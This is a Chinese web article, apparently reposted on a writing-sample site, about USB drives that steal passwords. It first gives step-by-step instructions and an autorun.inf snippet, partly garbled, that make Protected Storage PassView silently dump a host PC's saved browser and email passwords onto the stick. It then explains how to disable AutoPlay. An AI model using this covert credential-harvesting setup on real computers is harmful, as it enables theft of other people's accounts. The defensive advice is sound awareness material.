防范U盘自动偷取密码

开篇：润墨网以专业的文秘视角，为您筛选了一篇防范U盘自动偷取密码范文，如需获取更多写作素材，在线客服老师一对一协助。欢迎您的阅读与分享！

你知道u盘除了可以储存数据外，还可以改成偷取密码的工具吗?只要在电脑上一插入u盘，它就会偷取电脑里的密码，包括浏览网页时输入的论坛、邮箱登录密码等，而这一切只需要一个软件“Protected Storage PassView”就能做到。为了更好地防止u盘泄密，先来看看ProtectedStorage PassView是怎么偷到密码的。

Protected Storage PassView的安装文件夹中有两个文件“pspv.exe”和“pspv_lng.ini”，把它们拷贝到u盘的根目录下。然后运行Pspv程序，此时会开启程序主窗口，并把这台电脑里的网页登录密码和自动完成表单等列出来，另外也会列出邮箱的账号密码(如图1)。这些是从Cookies里抓取的曾在网页上输入过的密码。如果不需要列出自动完成表单，可以在主程序下取消“查看”菜单下的“自动完成表单”选项。

现在感觉到Protected Storage PassView的威力了吧?如果让它自动运行，那偷取密码就会在无声无息中进行了。用记事本打开u盘上的“autorun.inf”文件，让Pspv能在后台运行，并将偷取的密码表单保存为TXT文件。打开记事本，输入以下代码:

[autorun]

Shenexecute=pspv.exe/stext\pass txt

Shellexecute=pspv.exe/exp\expl・txt

Shellexecute=pspv.exe/imp\expl.txt

将文件保存到u盘根目录下，并将文件命名为“autorun.inf”文件。

以后只要你在别的电脑上插入u盘，前提是该电脑不禁止自动播放功能，就会偷偷地将这台电脑的个人密码输出成“pass.txt”文本文件，并存放在你的u盘里。打开“pass.txt”文件看看吧，账号密码全到手，包括这台电脑曾进入过哪个网页论坛注册或购物网站，使用什么登录密码等等，通通都一览无遗了(如图2)。

恐怖吧!这样诸如淘宝网站支付宝之类的用户名和密码就无安全性可言了。应对方法是确保电脑上安装有杀毒软件并开启实时监控功能。在Windows2000和WindowsXP中，有一项功能叫“自动播放”，当插入光盘或者u盘时，系统自动读取“Autorun.inf”文件，运行其中的内容，但只要禁用这个功能就可以防范这类程序的运行。在插入u盘的同时可以按住Shift键不放，暂时关闭“自动播放”功能，但这不是长久之计.还可以通过组策略禁用“自动播放”功能。点击“开始/运行”，输入“gpedit.msc”打开组策略窗口，依次展开到“计算机配置/管理模板/系统”，在右侧窗口找到“关闭自动播放”项目，默认状态为“未被配置”，在其上双击，在“策略”中选中“启用”选项，并在下方的“关闭自动播放”的下拉列表中选择“所有驱动器”，点击“确定”即可禁用“自动播放”功能。除了以上方法以外，还可以通过右键或者通过资源管理器来打开U盘，避开读取“Autorun.inf”文件，切记不要通过双击方式打开u盘。

笔者书写本文的目的不是在于教大家如何去盗取他人的密码，而是引起大家的重视，做好U盘病毒的防范。再说本软件也未必只会害人，比如使用它可以帮助我们找回忘记的密码等。